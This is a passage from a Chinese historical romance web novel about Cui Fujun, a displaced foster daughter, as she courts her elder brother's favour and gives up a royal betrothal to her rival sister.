“坐。”崔昭湜道。 崔弗君跪坐在茵褥上。 “深夜寒风冷冽,妹妹前来所谓何事?”崔昭湜道。 崔弗君道:“没什么事,只是来感谢阿兄。” 崔昭湜:“既为妹妹兄长,自当施以援手,虽说艰难,但好在父亲心软了,他之所以罚你,也是太气了,妹妹莫要记恨父亲。” “我怎会记恨阿耶、姑父?” “姑父他是怎么说的......” 崔昭湜正要开口,崔弗君却像是不敢面对,失落道:“算了,阿兄还是不要说了,阿兄,不该叫表兄了,绛奴儿失言了。” 崔昭湜看着崔弗君,淡淡一笑:“‘阿兄’和‘表兄’只不过一个称谓,妹妹叫哪个顺口便叫哪个。” 崔弗君惊讶,不可置信,鼓起勇气,声音很小:“真的可以继续叫你‘阿兄’吗?” 语气带着几分希冀。 “当然可以。” “阿兄。”崔弗君克制着欢喜道。 崔昭湜颔首:“今日在父亲屋里,我还见到魏王,是以我想问妹妹,关于你和魏王的婚事你有何看法?” 崔弗君道:“我如今已不是崔家女,这桩婚事自然是没必要了,就算要履约,那也是崔......六妹。” “父亲有意退婚,只不知皇室那边是否同意,妹妹以为皇室会同意吗?” 崔弗君吃惊,随即道:“依我之见,怕是难。” “哦?为何?” 崔弗君:“就是感觉。” 崔弗君好玩,但自小在高门长大,自有些敏锐,和魏王订婚前,她太单纯,直到订亲之后惠妃常叫她进宫,她这才隐约感觉这门婚事里头和政治朝堂搭了边儿。 不过她对朝堂上的事知道得实在不多。 “说来妹妹为何要和魏王定亲?”崔昭湜好奇道。 崔弗君心里对崔昭湜存着示好殷勤的目的,即便不愿提及关于魏王的事,可为拉近和崔昭湜的关系,她自是倾囊相告。 “原来如此,若是妹妹和魏王两情相悦,那这桩婚事妹妹就心甘情愿让出来?”崔昭湜费解道。 崔弗君不自觉哂了一下:“阿兄放心,我没有不甘,我已经对魏王没有任何心思了。” 崔昭湜凝视崔弗君的神色。 “其实方才魏王有来找我,我已断发与他一刀两断。” 崔昭湜微笑:“妹妹的决心我看到了。” 崔弗君垂眸,惭愧道:“崔家和皇室的这门婚事因我而起,过去......是我太任性了,以至于给崔家找了个棘手的大麻烦。” 崔昭湜语调温柔:“妹妹无须自责,谁会料到后事呢?” 和崔昭湜交谈,就连崔弗君自己也未能觉察,内心的紧张和防备在一点点卸下,紧绷的身体慢慢放松,脑子也平静下来。 崔弗君诧异,她环顾四周,道:“我还记得这间书房,从前我经常趴在窗口叫阿兄。” 崔昭湜跟随崔弗君的视线而去,落在紧闭的雕花直棂窗上,尘封多年的记忆自脑海里涌现。 崔昭湜唇角带笑,有些唏嘘道:“是啊。” “我记得妹妹最喜欢窗下的花,说开得很艳。” 崔弗君:“阿兄竟然还记得。” “以前阿兄在的时候,窗外的花开得很艳丽,可自从阿兄走了,即便有花匠料理,那些花也很快凋零,就此枯萎。” 没了他埋的养料,那些花当然会枯萎了。 崔昭湜轻笑。 崔弗君想起那只猫:“对了,阿兄的那只豹猫呢?” “睡了。” 崔弗君:“阿兄何时养的狸奴?” “就前些年。” 崔弗君:“那得有好几岁了,见那狸奴的样子,似乎很黏阿兄。” “尚可。” “它叫什么名儿?” “丹君。” “丹君,阿兄起的名儿很好听。”崔弗君道。 崔昭湜笑笑,笑意荡漾,满是愉悦:“我也觉得很好听。” 这一夜,兄妹两人聊了不少事,多是崔弗君主动找话题,热络得很,从儿时的事聊到现在,渐渐的,兄妹之间那股子疏离生分在消失。 6. 第 6 章 待休沐之后上朝,崔相给圣人上了一道折子,圣人愠怒。 关于崔弗君和崔静姝两姊妹的事,圣人已经从魏王口中知道,可他没料到崔相竟以此事为借口要退婚。 崔相的退婚原因句句在理,然圣人无法接受退婚。 退婚? 若接受了崔家的退婚,那皇室的颜面还往哪里搁?何况魏王和萧惠妃都不同意退婚。 朝议之后圣人留崔相单独说话。 “洵卿,退婚的事朕不同意。” 圣人言:“崔家出了这种事朕很是震惊,也知晓洵卿退婚是为皇室考虑,可这门婚事自去岁便定下,如今这崔家与九郎也马上要成婚了,天下人尽皆知,在这个节骨眼上退婚,定然引起不必要的喧哗议论。” “既然崔五娘并非洵卿的孩子,那就让洵卿那个亲生女儿来代替崔五娘。” 崔相拧眉,为难道:“圣上不可啊,小女自幼在乡野长大,规矩和礼节尚一窍不通,若强行任王妃尊位,恐是忝居其位,辜负圣恩。” 圣人不以为然:“无妨,既是洵卿的女儿,那自当聪慧,不懂那就派人从头教起,朕相信洵卿的女儿不会让朕失望,毕竟崔五娘不是洵卿的女儿,不也被教导得很出彩吗?” 崔相沉默。 圣人提及崔弗君,不免惋惜,犹记去岁崔弗君在马球场上的风采,扬他大周国威,何其耀眼的女郎啊。 谁能想到会发生那种事? 世事无常。 “洵卿,朕给你三个月,三个月后带你女儿进宫,惠妃要见一见她,另惠妃会派她身边的女官入崔府亲自教习,其实也不算是教习,毕竟你崔家的女儿也用不着外人插足,就是瞅瞅你女儿。” 圣人顾念崔家颜面,给足了尊重,若崔相还要拒绝,那下一刻圣人就会变脸。 崔相知道退婚已然是触及圣人底线了。 当下局势—— 朝堂之上杨林甫对内勾结萧惠妃,对外谄媚圣人,隐隐有统揽大权的迹象。 这个奸臣事事顺着圣人,无论对错,只说一句“圣意甚明”,以至于圣人越来越不喜欢听什么谏言,喜顺不喜逆。 过去朝堂之上是崔相和另外两位宰相共事,可杨林甫狼子野心,使计挤走两位宰相,尔后自己当了宰相,另外一位提拔上来的宰相唯杨林甫马首是瞻。 崔相不愿与其同流合污,奈何有心无力,加之因府上和魏王的亲事,他也隐有惠妃一党的嫌疑,崔相自然不是,但也无法堵住天下悠悠众口,阻止旁人去揣测。 且若非那门亲事,崔相怕是也要被杨林甫排挤走。 过去杨林甫不是没有因为这场亲事而与崔相示好,想与崔相共分朝堂势力,合作共赢,但崔相严词拒绝,杨林甫恼了,也不做这吃力不讨好的事,拂袖而去。 此后,杨林甫和崔相“井水不犯河水”。 拉拢崔相一事失败,萧惠妃也没生什么气,门阀世家大多数都有这么个清傲的毛病,她理解。 失败了就失败了,可崔家和魏王的婚事已经铁板钉钉了,就算崔相再三推辞,也要和萧惠妃扯上干系,他们可是亲家,只要崔弗君和魏王成亲了,那什么都撇不清了。 “洵卿,你的意思呢?”圣人道。 崔相垂首:“圣上,婚姻之事向来是父母之命,媒妁之言,但兹事体大,六娘又刚来府上,臣担心她,是以臣想回去问一问她的意见。” 圣人允了:“可,洵卿爱女,实属难得,朕心甚慰。” “多谢圣上宽宥。” “圣上,若无旁的事,臣便回去将事告诉妻女了。” “等等,还有一件事朕要与你说。”圣人低声道。 崔相:“圣上请讲。” “回去除了问你的亲女儿,也问一问崔五娘的意思,昨日九郎将此事告知朕,并与朕商议,九郎赤子之心,对崔五娘心存爱慕,与朕说此生认定崔五娘当王妃,奈何实在有失体统,朕和惠妃商量后决定满足九郎的心意,所以,崔五娘也一道纳了!” 崔相面色凝固。 圣人道:“不过那小娘子心高气傲,怕是有些不愿意当小的,朕很欣赏她,只是体统礼制不能废,偏生身世平庸......能当九郎的妾室已然是朕网开一面了。” 说着,圣人唏嘘。 “好了没旁的事了,洵卿可以回去了,朕等你的口信。”圣人笑道。 “臣告退。” 崔相从紫宸殿出来,面色沉冷,眉头紧皱,去岁太子之祸后,崔相便明白圣人不似年轻时英明神武了,如今朝堂上杨林甫已成气候,士族多遭打压,他若一倒,那朝堂上就是杨林甫说了算。 崔相忧心忡忡,心中矛盾纠结,若要维系崔氏门楣,延续家族,似乎已经到了不得不做出选择的时候。 是依附还是明哲保身...... 回了府,崔相问卢氏崔静姝的身子如何了。 卢氏道:“差不多好了,只是要注意休息。” “绛奴呢?” 卢氏忧愁道:“就待在新院子里,听说身子有些不舒服。” 昨日,崔弗君已经从海棠轩搬出来,身边只有一个侍婢。 卢氏先前就认为崔相做法太狠,不仅把崔弗君逐出府,还把她院里的侍婢全叫走了,不许她出手帮崔弗君,卢氏心里难受,一边记挂崔弗君,一边照顾崔静姝。 眼下崔相肯将崔弗君留下来,虽然是个表姑娘,但卢氏的心好歹是放心了,立刻安排新的侍婢去崔弗君跟前伺候,谁能想到崔弗君不要,就留了一个侍婢。 卢氏清楚崔弗君是和她见外了,忍住烦闷难过,随她去了。 崔相道:“把她们两个都叫过来。” 卢氏打量崔相:“出什么事了?” 崔相摇头,头疼得厉害,手按住太阳穴。 卢氏去吩咐人。 “对了,把三郎也叫过来。” 卢氏抿了下唇,脸色复杂。 崔相询问道:“你和三郎见过了?” 卢氏:“嗯,他来给我请过安了。” 崔相开口:“不管怎么说,他都是我们的儿子。” 卢氏:“我知道,我有分寸。” 顿了顿,卢氏犹豫道:“他那怪病可是好了?” 崔相说:“好得差不多了,三郎在祖地被高僧和大儒教导八年,性子已然不同了。” 卢氏回想崔昭湜那温柔的正常神色,当真是与过去面无表情的样子判若两人,可是卢氏没有心生喜爱,反而觉着渗人。 卢氏叹了叹气,她怎么就生出那样一个奇怪可怕的儿子? 不多时,崔静姝先行一步来到堂屋内,“女儿见过阿耶,阿娘。” “身子好受了?”崔相关心道。 “好很多了。” 卢氏:“快过来,静姝。” 崔静姝到卢氏身边,卢氏抚摸崔静姝的脸颊:“气色好很多了。” 崔静姝柔柔一笑。 崔弗君一进来就望见母女情深的画面,即便知晓崔静姝和卢氏才是真的母女,但崔弗君依旧心口发堵,被刺得眼珠子疼。 崔弗君行礼,恭恭敬敬道:“见过姑父姑母。” “妹妹好。” 卢氏立刻放开了崔静姝的手,直直望着崔弗君,隔了两天再见自己的养了十六年、疼爱了十六年的女儿,目及女儿恭敬的姿态,聆听她疏离的语气,卢氏眼眶当即就红了。 “绛奴,你额头怎么了?” 卢氏不知道崔弗君撞头的事。 崔弗君:“不是大事,只是撞到了柱子,姑母不用担心。” 假如是从前,崔弗君在受伤后第一时间就是跑到卢氏面前,撒娇说好疼,让卢氏给她吹气上药。 但那个画面也许再也无法重现。 她叫她“姑母”,她们不再是母女,而是表面的远房表亲关系。 卢氏意欲上前,却在这时,旁边的崔静姝忽然抓住了卢氏的小臂,嘴唇苍白。 卢氏见之一慌,关切道:“静姝,你怎么了?” 崔静姝弱声道:“没事,阿娘,只是头有点儿疼。” “你快快坐下。” “嗯。” 在卢氏的搀扶下,崔静姝先坐下来,安抚好崔静姝,卢氏看向崔弗君,语气里满是自然而然流露的担心:“可上过药了?” 残酷的现实摆在崔弗君面前,崔弗君鼻子有点儿酸胀,难以呼吸,别过脸,别扭道:“嗯。” 卢氏一笑:“那就好,记得用我给你的祛疤药,若是留疤就不好了。” 崔弗君说道:“我知道了,姑母。” “姑母”两个字让卢氏眼神一黯,她没有再说什么,怕崔静姝多想,毕竟崔弗君可是把崔静姝推下水了,若是她再对崔弗君表达关切,怕是会让崔静姝不舒服。 她这个当母亲的不仅要顾忌崔弗君,也要想着多照顾多补偿崔静姝。 卢氏左右为难,束手束脚。 相比卢氏,崔相并未关心崔弗君,他仿佛对崔弗君的怒火未消,一言不发。 崔弗君默默受着,始终站定。 又过了一阵子,崔昭湜信步而来,先是给崔相和卢氏行礼,再看向两个妹妹。 一个亲生的陌生的胞妹,一个从小感情就好的“表妹”。 崔昭湜先叫了崔弗君的名字:“绛奴。” 崔弗君:“见过表兄。” 在旁人面前崔弗君老老实实叫“表兄”,只不过崔昭湜先叫她让崔弗君心口微微一暖,有种被人重视的感觉。 她没有被抛弃,至少这个家里还是有人在乎她的。 虽得崔昭湜的承诺,他始终当她是妹妹,可没人保证崔昭湜在见到崔静姝后不会变。 崔弗君承认自己太敏感,太不安。 可血缘那东西谁也说不准。 不过眼下崔昭湜的言行让崔弗君稍稍有了点儿底气和自信,她的努力没有白费。 崔弗君稍稍放松了一些。 崔昭湜:“六妹妹。” 崔静姝:“兄长。” “父亲,您把我们叫来是因为崔家和皇室的婚事?”崔昭湜开口道。 崔相点头:“今日我和圣上言明要退婚的事——” 听言崔静姝震惊,下意识道:“阿耶,您要退婚?退哪门婚事啊?” 崔相微微皱眉,卢氏看了崔静姝一眼,崔静姝立刻知道自己坏了规矩,忙赔罪:“对不住,阿耶,是女儿鲁莽了。” 崔相道:“尽快给静姝安排老封君学习家规,嬷嬷和老师也要尽快。” 卢氏道:“在安排了,人来府上也要时间。” 崔相:“麻烦夫人了。” 崔静姝脸庞红,暗暗告诉自己接下来一定要谨言慎行,做到最好,超过崔弗君,把她狠狠踩在脚下。 坚定决心,崔静姝低吁一口气,板正自己的身姿和仪态。 崔相继续道:“圣上不同意退婚,他要静姝代替绛奴嫁给魏王。” 此言落,正屋安静无声,众人心思各异。 崔静姝垂首,按捺住窃喜,她不仅要把自己的父母抢回来,还有夺走他们所有的关爱,让他们眼中只剩下她一个女儿,她还要抢走崔弗君的男人,成为尊贵的王妃,站在高台上蔑视崔弗君这个出身低微的女人。 想着想着,崔静姝不住兴奋,忍不住悄悄睨了一眼崔弗君,却见她神色淡然,完全不见任何恼火和难过。 半晌之后,崔静姝明白了,像崔弗君这样高傲的人,定不肯在旁人面前表露脆弱,所以她现在就是在强撑,待回去了,还不知哭成什么样子。 崔静姝好笑,心中痛快。 “静姝。”崔相叫唤崔静姝,崔静姝没听到,卢氏也叫她了,崔静姝终于从臆想里回过神。 “阿耶。”崔静姝道。 崔相:“你是怎么想的?” 崔静姝茫然:“啊?” 卢氏道:“你阿耶问你对这门婚事的看法,你是同意还是反对。” 崔静姝忖度,一本正经道:“既然圣上不同意,那我们若是忤逆圣意的话怕是不妥,是以,阿耶,阿娘,我愿意代替姐姐嫁给魏王。” 她说的义正言辞,话里话外俱是在为崔家和崔弗君考量,脸上不见任何柔弱了,有股不畏牺牲、慷慨赴死的神韵,不知道的还以为是在让她去送死呢。 崔弗君心下嗤笑,又见识到什么叫完美演技。 女儿懂事识大体,崔相却没有高兴,皱眉道:“静姝,你当真愿意?” “是。” 崔相劝说道:“你不在崔家长大,很多事你不知道,皇室的水太深,你怕是把持不住,嫁给皇室还不如嫁给其他五姓,为父会给你相看一位五姓少年,德行兼备,你看如何?” 崔静姝摇头:“不,阿耶,我已经决定了,若就此退婚,圣上和魏王都不好交代。” 崔相叹息,和卢氏面面相觑。 崔昭湜开口道:“父亲,六妹妹既然答应,便定有自己的考量,您随她罢。” “只这门婚事有利有弊,父亲定夺三思。” 崔相思及圣上的神色,权衡再三,无力摇摇头:“只能如此了。” “绛奴,你可愿放弃这门婚事?”崔相知道崔弗君对魏王有意。 崔弗君:“父亲,我愿意。” 崔相打量崔弗君:“没有怨言?” “没有。” 崔相点点头:“好,那就这样了。” “静姝。” “阿耶。” 崔相正色道:“明日萧惠妃身边的女官会来府上教你规矩,说是教规矩,其实是代替惠妃来观察你,三个月后,为父会携你入宫面见圣上和惠妃,记住,你日后要做的是圣上的儿媳。” 崔静姝起身:“是,阿耶,我定会好好学习规矩诗书,不让阿耶和阿娘失望。” “切记,你是崔家的女儿。”崔相叮嘱。 崔静姝郑重道:“是。” “静姝,你回去歇息吧,夫人劳烦你带静姝下去了。”崔相道。 卢氏颔首,带崔静姝下去,留崔昭湜和崔弗君两个人。 出去后,崔静姝好奇道:“阿娘,阿耶留兄长和姐姐是作甚呐?” 卢氏:“我也不知,风大,赶紧回屋,我安排绣娘给你做的衣裳到了,你病好了试试,瞧着合不合身。” “谢谢阿娘,阿娘你真好。”崔静姝挽住卢氏的手臂,说着,突然落泪,“我从小就没见过阿娘,以前一直都很羡慕别人家的孩子有阿娘疼,现在我不羡慕了,因为我也有阿娘了,真好。” “好孩子,是阿娘的错,让你流落在外受苦了。”卢氏心疼道。 “不苦,有阿娘了我不苦了。” . “绛奴,你可知魏王他青睐你?”崔相道。 崔弗君道:“姑父想说什么?” 崔相扶额,目及崔相的面色,崔昭湜心下有了猜测:“父亲,莫非魏王要行那娣媵制,要绛奴陪嫁?” 闻声,崔弗君一下子脑袋炸开了,瞳孔放大,火气蹭的一下烧上头。 崔相:“是,主意是圣上出的,照圣上的说法魏王只要绛奴为妻。” 说到这,崔相很快嗤了一下,旁的人会信这种鬼话,可崔相不会信,或许魏王是有过这念头,但也仅仅只是有过罢了。 崔相问:“绛奴,你对魏王有意,你可愿陪嫁过去?” 恼火萦绕,崔弗君克制住,心底发凉,瘪着嘴,像是自暴自弃说道:“父母之命,媒妁之言,我有何权利选择?全凭姑父了的意思罢。” 崔相好笑:“你何时遵守过这些规矩?” 也就是这句平平常常的话,进入崔弗君耳朵里,她顿时止不住情绪,酸楚委屈,眼尾通红。 气氛突然安静,说不出的怪,有股淡淡的伤感和隔阂。 对此,崔相面色如常:“绛奴,姑父想听听你的意思。” 崔相说到“姑父”两个字时语调不露声色的生硬。 崔弗君哽咽,一时说不出话,崔昭湜上前,道:“父亲,以 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除了侍婢之外,吃穿用度上崔家没有亏待过崔弗君,她从前那些衣裳首饰俱在。 要说亏待,也只是让崔弗君从海棠轩搬到一处较为僻静的小院罢了。 崔弗君没有闹。 下雪了。 米粒大小的雪花簌簌落下,落在屋檐、树叶、假山等各种地方,形成了薄薄的白色积雪。 风不大,格外的冷。 崔昭湜没有动,尽头的崔弗君见他没有来,不假思索提步朝他走来,崔昭湜静静目视,唇畔含笑,眼神温柔如水,好像能把积雪融化。 “阿兄。” “这么冷的天为何不在屋里?”崔昭湜问。 崔弗君道:“我在等阿兄,等得腿都麻了。” 崔昭湜自责道:“怪我没提前出来。” “不碍事,你和姑父谈了好久。”崔弗君道。 崔昭湜打量崔弗君,尽管穿的厚实,可脸蛋和鼻子依旧被冻得通红,像猫儿似的,可怜兮兮。 崔昭湜:“冷不冷?” 崔弗君举起手,摇掌心的汤婆子:“不冷,我有汤婆子。” “往后莫要如此,担心受寒。” “好,我知道了。” “阿兄。” “有事要说?”崔昭湜道。 崔弗君有点儿拘谨小心地笑了一下:“是。” 雪花纷纷,飘到崔弗君的额头,乌黑黑的发上多了一抹靓丽的白,崔昭湜抬手,崔弗君察觉,下意识后退一步。 “阿兄?” 崔昭湜保持笑容,用指尖拂去了崔弗君额发上的雪沫。 “有雪。”说着,崔昭湜拍了拍崔弗君的肩头。 崔弗君很快反应过来,说道:“阿兄头上也有。” 崔昭湜笑笑。 小插曲过去,崔弗君和崔昭湜齐肩而行,细雨霏霏,红梅映寒。 “妹妹说的是有关魏王?” “嗯,阿兄猜的对。”崔弗君道:“阿兄,那夜阿兄该明白我的意思,我不要成为魏王的妾。” 说着,崔弗君竟是探出手,大着胆子揪住了崔昭湜的一截袖子,盛满泓水的眸子里是央求和希冀。 崔昭湜笑着抽回自己的衣袖,崔弗君见状,心漏了一拍,有点儿慌了。 可下一刻头顶响起崔昭湜温和的声线:“妹妹放心,有我在,没有人能强迫你。” 崔弗君咬唇:“真的?” 崔昭湜言简意赅道:“妹妹放心。” 崔弗君喜上眉梢:“谢谢阿兄。” “好了,我送你回院。” “等等阿兄。” 崔昭湜看向崔弗君,崔弗君忐忑道:“我若再提要求,阿兄可会觉得烦躁不耐?” 崔昭湜:“不会。” 崔弗君细细端详崔昭湜的面孔,桃花眼含情温柔,神色温润,唇边衔笑,不见任何恼色,或者说看不出任何破绽和情绪。 在他的脸上只有一种情绪,那就是温柔好脾气,如同潺潺流淌的清水。 变化真的太大了,大到崔弗君以为面前的崔昭湜是有人假冒的。 她都能是假的,那崔昭湜也有可能是假的。 收起不合时宜的偏思,崔弗君打起精神,讪讪道:“姑父不是叫我去给表妹道歉吗?” “阿兄能不能陪我一起去?” 崔弗君的打算其实是让崔昭湜代替她去,她根本就不想去,凭什么啊?她觉得自己忍辱负重,可心里头那坎太难跨过去了。 “不会耽误阿兄太久的。” 崔昭湜没说话,像是在思索,崔弗君眨眨眼,拿出了在卢氏面前的撒娇劲儿:“阿兄,求你了,陪我去吧,有个人在我安心点,不然我又怕出什么幺蛾子。” 眼下崔弗君的打算是安安分分留在崔府,和崔昭湜打好关系,然后再去细细琢磨梦里的事,若是能梦到更多就好了,这样她就能未卜先知更多的事,把握主动权,找机会给自己谋个好前程,起码要找个合心意的人,改变身份地位。 是以崔弗君怕自己去道歉,崔静姝那厮又闹出什么事栽赃到她头上来,那就背离她的意愿了。 留得青山在,不怕没柴烧。 崔弗君眼中掠过锋利。 崔昭湜无奈笑笑:“好。” “你就空手而去?” 崔弗君没同人赔礼道歉过,这次道歉也是迫不得已,若非身不由己,谁要道歉? 她崔弗君的字典里就没有道歉两个字! 然虎落平阳被犬欺。 崔昭湜准备了歉礼让崔弗君捎上,随后陪同崔弗君去崔静姝的院中。 崔静姝正在让嬷嬷教她识字,有侍女进来道:“六娘子,三郎君和表姑娘来了。” “请他们进来。” 崔弗君进屋后看到了候在旁边的嬷嬷,她认识,那是卢氏身边的陪嫁嬷嬷。 崔静姝:“兄长和姐姐怎地来了?” 崔昭湜道:“绛奴来给六妹赔礼。” 崔弗君压下心头的郁愤,缓缓上前,挑起眼尾,面上漾出赔笑,没有温度,却让人挑不出一丝错的赔笑。 她开口:“表妹。” “是姐姐对不住你,这是赔礼。” 崔静姝怔然,随即定定看着崔弗君的动作,她想笑,又立刻告诉自己屋里有其他人在,勉强忍住笑,忍得唇角抽搐,崔静姝死死咬住后槽牙。 于是崔静姝在心里疯狂大笑,得意地看着从前高高在上的士族贵女在她面前低头,哦不,她不是士族贵女了,她崔静姝才是。 崔静姝装出受宠若惊的样子,怯声道:“姐姐何必如此?” “我知道姐姐并非故意,是以不怪罪姐姐,这礼......我受不起。” 崔弗君瞧崔静姝的装模作样,心说你当然受不起了。 她没什么耐性,没有回答崔静姝的话。 旁边的崔昭湜面色如常,好像没有感觉到两姐妹之间的交锋和汹涌,拿出兄长的姿态道:“六妹妹,歉礼便收下吧,此事翻篇,日后望你们姊妹不计前嫌好生相处。” 崔静姝收下了歉礼,并拉住崔弗君的手,发自肺腑道:“兄长说得对,姐姐,日后我们好好相处吧,我知道姐姐和阿耶和阿娘的感情,姐姐放心,我没有要和姐姐抢阿耶阿娘的意思,我只是很高兴,高兴自己有了阿耶阿娘,有了兄长和姐姐。” 崔弗君猝不及防,异常抵触嫌弃,本能要甩开崔静姝的手,可转头对上崔昭湜的视线,理智回归,崔弗君反手回握崔静姝的手。 四目相对。 崔静姝愣住,转而反应过来,崔弗君根本就不是真心道歉,但她也不在乎,她在乎的是崔弗君眼中流露的蔑视。 “那表妹,我们日后好生相处。”崔弗君笑,眼神平静,加之平静之下隐藏的瞧不起。 7. 第 7 章 从崔静姝院中出来,崔昭湜观察崔弗君的神色,道:“妹妹不高兴?” 崔弗君压抑着脾气,佯装笑说:“哪有?” 崔昭湜说相信她没推崔静姝下水,那当知晓落水一事是崔静姝构陷她,可他竟要她和崔静姝和平相处? 不过话说回来,崔静姝为何要构陷她? 约莫是因为她抢走她的身份,当了十多年的崔家嫡女,享受了十多年的锦衣玉食。 可她崔弗君又做错了什么? “阿兄以为我能和她好好相处吗?” 崔昭湜温声说:“你和六妹都是我的妹妹,我希望你们和睦共处,姊妹之间当友爱,相互扶持。” 妹妹...... 崔弗君没有幼稚到询问崔昭湜——在他眼中,她和崔静姝谁更重要,她只思及适才离开前崔昭湜对崔静姝的关心问好。 看起来崔昭湜已然接受崔静姝是他妹妹的事,并接纳了崔静姝,唯一和崔相和卢氏不同的是,崔昭湜对崔静姝没有热情,只是秉持一个兄长的姿态。 他谁也不向着。 故而,崔弗君可以拉拢崔昭湜,至于阿耶和阿娘......不,是姑父和姑母,崔弗君鼻头酸涩,心灰意冷,只能放弃。 就算争取,在崔相和卢氏的心里,她崔弗君再也不是最珍贵的人。 崔弗君思绪万千,磨了磨牙,收敛所有尖刺和脾气,温顺又乖巧道: “好,我听阿兄的。” 崔昭湜莞尔。 和崔昭湜分道扬镳,崔弗君回院,环顾小院,神色如常进得屋里,尔后将梳妆台前的雪白帕子丢了,须臾,又捡起来,静静消化所有情绪。 从前崔弗君只要不痛快,那身边的人都不会好过,为排解心情,她要么自己策马出去散心,要么身边机灵的奴婢会给她找乐子。 今时不同往日。 出不去,鞭子也被崔相没收,身边的婢子就剩下一个不爱说话的。 半夏瞧出崔弗君心情不好,默默不语,见崔弗君站在书案后,立刻开始开砚磨墨。 崔弗君在宣纸上写上“李玄敏”三个字,忍不住嗤笑,在名字上画上大大的叉,再撕毁烧掉。 整理思绪,崔弗君思量长安城内的五姓子弟,她记得的子弟俱已订婚,就连卢家几个表兄也全定亲了,所以她想嫁五姓士族,简直痴人说梦。 崔弗君不得不接受这个现实。 那长安城内其他世家呢? 那些曾经追求自己的高官子弟?崔弗君一个都看不上,且这些少年郎倨傲,很多被她拒绝甚至羞辱过的人多半对她怀恨在心,如今得知她落魄,别说雪中送炭,少不了要踩她一脚。 而且崔弗君想不起来那些少年郎的面孔了。 即将到来的科考,她记得这回科考好像有二十人考中,登科及第的人...... 崔弗君做的梦全是有关自己的,梦境中的自己根本没注意与自己不相干的事。 崔弗君懊恼又头疼,撕了名单,跑到佛前上供祈祷。 . 博陵崔家二房叫回了真正的嫡女崔静姝,而崔弗君并非崔相的女儿,只是崔家的远房表姑娘。 昔年崔家主母卢氏产后生下崔静姝,因大法师言静姝有早夭之相,长安的风水无法生养之,卢氏只好将孩子送到乡下的好风水之地,再从旁系远房亲戚那抱来一个女婴顶替崔静姝。 如今十六年过去,崔静姝健康长大,不会再有短命之嫌弃,崔家遂将养在外头的孩子接回来。 而那个顶替崔静姝的女婴便是崔弗君。 此事是崔相对外的说辞,真相也只有少部分人知晓,但仅是说辞也长安城中引起轩然大波。 谁都没想到那个明艳嚣张的崔家五娘竟是个假货。 行出惊世,万众纷纭。 有太多人幸灾乐祸。 很多人都想见崔弗君,崔弗君一个也不见,老老实实待在屋里,努力和崔昭湜培养感情。 又来到崔昭湜的院子,崔弗君熟门熟路敲门,门房见到人忙去通报回来开门。 “阿兄在哪?” “郎君在书房。” 崔弗君颔首,转而去书房,来到窗户口,小时候她个子小,常需要踩在方杌上才能爬上窗台,爬上窗台,就能见到崔昭湜那张冰冷得没有表情的脸。 窗始终是开着的,仿佛在等谁来似的。 “叩叩。” “阿兄。”崔弗君在窗外道。 半晌,两扇窗棂被打开,窗外的女郎和景色映入眼帘。 “妹妹怎地来了?”崔昭湜询问道。 崔弗君从袖口里取出雪帕,说道:“来还帕子。” 崔昭湜没动,只道:“天气寒冷,妹妹何须为还帕子走一趟?叫侍婢来送便是。” 崔弗君眨眨眼睛:“主要是想和阿兄说说话。” 崔昭湜接下帕子,指如青竹,根根修长。 “阿兄,外头冷,我可以进来吗?” 崔昭湜:“进来。” “不会叨扰到阿兄看书罢?” “不会。” 崔弗君轻手轻脚进来,稀松平常感慨道:“外面真的冷啊,前两天下的雪都没化干净。” “阿兄,我能坐你对面吗?” “自便。”崔昭湜拿起诗书继续默读。 崔弗君坐下:“阿兄好生勤勉,每次我来都看到阿兄在温习诗书,听说今岁科考改在二月了。” 崔昭湜:“嗯,时间不多了。” “我相信以阿兄的聪颖和能力定能考上,登甲科,成状元。” “借妹妹吉言了。”崔昭湜不咸不淡道。 “阿兄,茶开始沸腾了,我帮你调味吧。”崔弗君看着风炉上的茶釜,正滋滋冒出丝丝缕缕的白雾。 “有劳妹妹了。” “小事。”崔弗君往茶釜里投少许盐调味,继续煮,待茶汤三沸,她便拿出秘色茶碗,用木质瓢将釜中的茶汤以及茶沫倒入茶碗中。 “阿兄趁热吃,试试我的煮茶手艺。”两碗茶俱摆在崔昭湜面前。 崔昭湜:“妹妹不吃吗?” “我吃茶喜欢在里面加胡椒和茱萸,阿兄帮我重新煎一壶?”语气带着微不可测的理直气壮。 崔昭湜放下书卷,端起茶碗,慢慢将茶汤一饮而尽,随即命人取来胡椒,亲自煎茶给崔弗君吃。 “茶汤味道如何?” “尚可。” 崔弗君:“阿兄不嫌弃便好。” 崔昭湜添柴,用竹夹夹住茶饼在文火上炙烤,听崔弗君道:“阿兄,魏王那件事如何了?” “此事由父亲出面,妹妹可以去问父亲。” 崔弗君垂目,为难道:“阿兄也知我如今的情况,在府中地位尴尬微妙,我实在没什么勇气去见姑父,姑父和姑母的心思都在她的身上,我身边也只有阿兄能依靠了。” 崔昭湜似漫不经心睨了一眼崔弗君,茶饼烤得微焦,散发出清醇的香气。 “阿兄,我以后能不能多来找你?我不会打扰你读书的,就是想和你待在一块儿。” “你那小院住得不舒坦?” “不是,就是想待在阿兄这边。” “注意保暖。” 崔弗君眉梢一喜:“谢谢阿兄。” “对了,阿兄,以后我来的时候可否直接进来?每回要通禀好麻烦。” “回头我会和门房说一声。” “好。” 崔昭湜将稍稍放凉的茶饼掰碎:“父亲已然回绝了陪嫁一事。” 崔弗君松了一口气。 在崔昭湜煮茶时,书房另一头响起了狸奴的叫声,淡褐色的豹猫轻盈矫健地跨过障碍过来。 “阿兄,你的猫儿过来了。” 豹猫见到主人,目如琥珀,尾巴上翘如天线,奶声奶气喵了两声,就要跳到榻上来,崔昭湜一个眼神扫过去,豹猫便止住动作,在崔昭湜底下转悠。 “阿兄怎会养猫?”崔弗君问。 崔昭湜:“那岁冬日见它可怜,便养了。” 崔弗君“哦”了一声:“我之前也养过一只斑狸,不过后来它死了。” “过来,丹君。”崔弗君对豹猫招手。 听到叫唤,猫儿爱答不理,懒洋洋坐在毡毯上,扬起脖子舔舐自己的爪子,颇为冷傲。 崔弗君又柔柔叫了几下,猫儿依旧对她不理不睬。 崔弗君没了耐心,抱怨道:“阿兄,你这猫儿不搭理我。” “丹君的脾性如此。” 崔昭湜从侧边小柜拿出一条鱼干递给崔弗君,崔弗君立刻用鱼干引诱猫儿,猫儿嗅到香气,明明眼馋,却站在原地不动,直到崔昭湜道:“去吧。” 得了主人首肯,满身豹点的猫儿这才来到崔弗君面前,直起身绷起两条后腿,前脚搭在榻缘去吃崔弗君手里的鱼干。 再冷傲的动物也无法抵抗食物的诱惑。 “不愧是阿兄养的猫。” 崔弗君让猫儿吃了一口鱼干,复而抬起手,不让它吃 